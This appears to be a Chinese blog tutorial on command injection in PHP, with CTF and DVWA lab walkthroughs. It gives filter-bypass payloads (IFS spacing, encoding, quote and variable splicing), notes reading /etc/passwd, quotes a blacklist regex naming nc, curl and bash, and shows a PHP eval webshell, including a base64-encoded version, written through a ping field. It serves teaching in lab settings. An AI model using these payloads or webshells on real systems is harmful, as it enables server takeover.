命令执行漏洞

命令执行漏洞

命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一。

这个漏洞存在的危害:

  • 获取WEB服务器权限,执行系统命令和读取文件
  • 反弹shell
  • 控制整个网站甚至整个服务器

常见函数

  • 常见的命令执行漏洞有:
1
2
3
4
5
system()
passthru()
exec()
shell_exec()
popen()

认识一下以上函数以及他们的用法:

  • system():
1
system ( string `$command` [, int `&$return_var` ] ) : string

system()函数和其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。

例子:

1
2
3
4
<?php
system("dir");
?>
//相当于执行dir命令,查看当前目录
  • passthru():
1
void passthru (string command [, int return_var]) 

passthru() 允许运行外部程序,并在屏幕上显示结果。不需要使用 echo 或 return 来查看结果;它们会显示在浏览器上。

例子:

1
2
3
<?php
passthru("dir");
?>
  • exec():
1
exec ( string $command [, array &$output [, int &$return_var ]] ) : string

exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。所以我们需要打印才能看见结果。

例子:

1
2
3
<?php
echo exec("dir");
?>
  • shell_exec():
1
shell_exec ( string $cmd ) : string

用于通过shell执行命令并以字符串的形式返回完整的输出。

例子:

1
2
3
<?php
echo(shell_exec("dir"));
?>
  • popen():
1
popen ( string $command , string $mode ) : resource

popen()函数打开一个进程管道来执行给定的命令(该进程由派生给定的 command 命令执行而产生),返回一个文件句柄。

例子:

1
2
$fp=popen("/bin/ls -l", "r");
?>

常用指令

服务器基本都是在Linux下运行的,所以这里介绍的都是Linux指令。

  • 显示当前目录内容
1
2
dir(windows下用)
ls
  • 查看当前用户
1
2
3
users
whoami
who am i
  • 查看当前绝对路径
1
pwd
  • 切换路径
1
2
3
4
5
6
7
8
进入目录:
cd xxx
cd./xxx

退出目录:
cd ..
cd ../
cd /
  • 查看文件内容:
1
2
3
4
5
6
7
8
cat /flag    由第一行开始显示内容,并将所有内容输出
tac /flag 从最后一行倒序显示内容,并将所有内容输出
more /flag 根据窗口大小,一页一页的现实文件内容
less /flag 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head /flag 只显示头几行
tail /flag 只显示最后几行
nl /flag 类似于cat -n,显示时输出行号
sort /flag 命令用于将文本文件内容加以排序
  • 查看文件位置
1
2
3
4
#find /tmp/ -name '*lock*'           查询文件名中包含lock的文件所在路径
#find /tmp/ -name 'lock*' 查询文件名以lock开头的文件所在路径
#find /tmp/ -name '*lock' 查询文件名以lock结尾的文件所在路径

  • 打印:
1
echo "123"

我们可以就可以用echo写文件

1
echo "flag">hacker.txt 即生成一个内容为flag的hacker.txt
  • base64加解密:
1
2
3
4
5
6
加密:
echo 'Hello World' | base64
SGVsbG8gV29ybGQK
解密:
echo SGVsbG8gV29ybGQK | base64 -d
Hello World

连接字符

  • 系统命令中执行同时执行多条命令的方法
  • 管道符“& 和&&”
1
2
3
4
a & b 表示a和b同时运行
a && b表示 a运行成功后再运行b(如果a假,则直接结束)
例如: ping baidu.com & whoami
ping baidu.com && whoami
  • 管道符“|”
1
2
3
4
5
第一个命令command 1执行的结果作为command 2的输入传给command 2

例如:echo "admi3n"|grep "3" 先打印"admi3n"这个字符串,将打印的字符串传给第二个grep命令,也就是说grep命令要在字符串中搜索含有3的内容。这样也能够给执行两条命令

例如:cat /flag|ls 表示把cat /flag的输出结果作为ls的参数

这个和SQL 注入漏洞差不多,就比如分号“ ‘ ‘”,“union select”等后面输入我们想要执行的代码

  • 管道符“||”

先执行前一条语句,如果前面为假,再执行后一条语句

1
例如:ping 1 || whoami
  • 管道符“;”

执行完前面的语句在执行后面的

1
ls|whoami
  • >
1
2
3
echo "<?php phpinfo();?>" >hack.php 表示将php代码写进hack.php中

ls>hack.txt 表示将ls的输出结果写入hack.txt
  • >>
1
echo "123">>hack.txt 表示将123追加到hack.txt内容后面

演示:

1
2
echo "123">1.txt
echo "456">>1.txt

image-20210321220951440

重要文件

/etc/passwd文件。

1
该文件中包含了所有用户登录名清单;为所有用户指定了主目录;在登录时使用的shell程序名称等。该文件还保存了用户口令;给每个用户提供系统识别号

该文件在linux系统下是必不可少的,并且通常来说如果不特别做权限设置,以我们web服务下常用的www用户组是具有该文件的读权限的,因此当我们需要验证该漏洞是否可以被利用时会去尝试读取该文件。

绕过方法

我们面对命令执行漏洞,一般都需要绕过限制。下面讲一下绕过方法

前缀限制

分号

1
ls;whoami

连接符

1
2
3
4
ls & whoami
ls && whoami
ls | whoami
ls || whoami

空格过滤

空格过滤会经常遇到,基本都被过滤了,但是绕过的方法也是非常多的。

  • ${IFS}
1
cat${IFS}flag //等同于cat flag
  • $IFS$9 $9指传过来的第9个参数
1
2
cat$IFS$9flag //等同于cat flag
cat$IFS$1flag //等同于cat flag
  • %09(需要PHP环境)
1
cat%09flag //等同于cat flag
  • <或者<>重定向
1
2
cat<flag //等同于cat flag
cat<>flag //等同于cat flag

这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,只有cat$IFSflag.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离。

黑名单过滤

比如:过滤了cat或者flag

  • 变量拼接
1
2
a=c;b=at;c=f;d=lag; $a$b $c$d //$a$b $c$d等同于cat flag
a=cat;b=fla;c=g; $a<>$b$c //$a<>$b$c等同于cat flag
  • 单引号,双引号绕过

在引号内,加空格和没加空格是不一样的。在我们用一对引号穿插进要输入的命令中的时候,可以达到绕过黑名单且不影响最终结果的功效

1
2
ca''t flag
ca""t fl''ag
  • 编码绕过
1
2
$(printf "\154\163")   ===========================>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")==>cat /flag
  • 读文件绕过(当cat被过滤)

用其它可以读文件的指令代替cat即可。上面的常用指令中已有说明,此处不再描述。

  • 反斜杠绕过

反斜杠为换行符,Linux允许我们将语句打散到多行再执行,因此可以有:

1
c\a\t fla\g  

例子:

1
2
3
4
5
[root@VM-8-9-centos /]# ca\
> t\
> fl\
> ag
flag{test};

DVWA实践

low级别:

输入127.0.0.1,发现是ping本机的结果

image-20210323124219358

加一个管道符,看看是否执行后面命令

1
127.0.0.1|dir

image-20210323124322666

发现可执行,那么这道题就可以说结束了。

Medium级别:

1
127.0.0.1|dir

image-20210323124556441

发现还是可以用,看了下源码。原来过滤了&&和; 但是没有过滤|,所以这道题也可以说结束了。

High级别:

1
127.0.0.1|dir

image-20210323125332632

怎么那么简单?看了下源代码

image-20210323125421161

发现过滤的|后面有个空格,所以127.0.0.1|dir 直接执行了dir。

工作室靶场

ping

开局一个输入框一个提交按钮

image-20210323125945669

1
127.0.0.1|whoami

image-20210323130001586

发现管道符可以绕过执行命令,那就ls看看。

1
127.0.0.1|ls

image-20210323131356076

发现只有一个index.php。看看能不能写文件。

1
127.0.0.1|echo "<?php phpinfo();?>" > hack.php

image-20210323130139747

可用,写个马儿试试

1
127.0.0.1|echo "<?php @eval($_POST['hack']);?>" >hack.php

发现可以写进去,但是执行不了任何命令。看看到底写了什么进去

1
127.0.0.1|cat hack.php>1.txt

image-20210323130443455

发现$后面的东西被过滤了。那就绕过,我这里选择用base64编码

1
127.0.0.1|echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+"|base64 -d >hack.php

image-20210323130904649

再看一道题

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$filter '/#|`| |
[\x0a]|ls|rm|sleep|sh|bash|grep|nc|ping|curl|cat|tac|od|more|less|nl|vi|unique|h
ead|tail|sort|rev|string|find|\$|\(\|\)|\[|\]|\{|\}|\>|\<|\?
|\'|"|\*|;|\||&|\/|\\\\/is';
$cmd $_POST['cmd'];
if(!preg_match($filter$cmd)){
    system($cmd."echo 'hi~'");
}else{
    die("???");
}
?>

ban了ls,使用dir查看目录

1
?cmd=dir%09.%09

看见flag文件 CvvD_F14g_1s_h4rehaha.php ,cut命令读取获得flag

1
cmd=cut%09-f%091%09CvvD_F14g_1s_h4rehaha.php%09

参考blog:http://www.plasf.cn/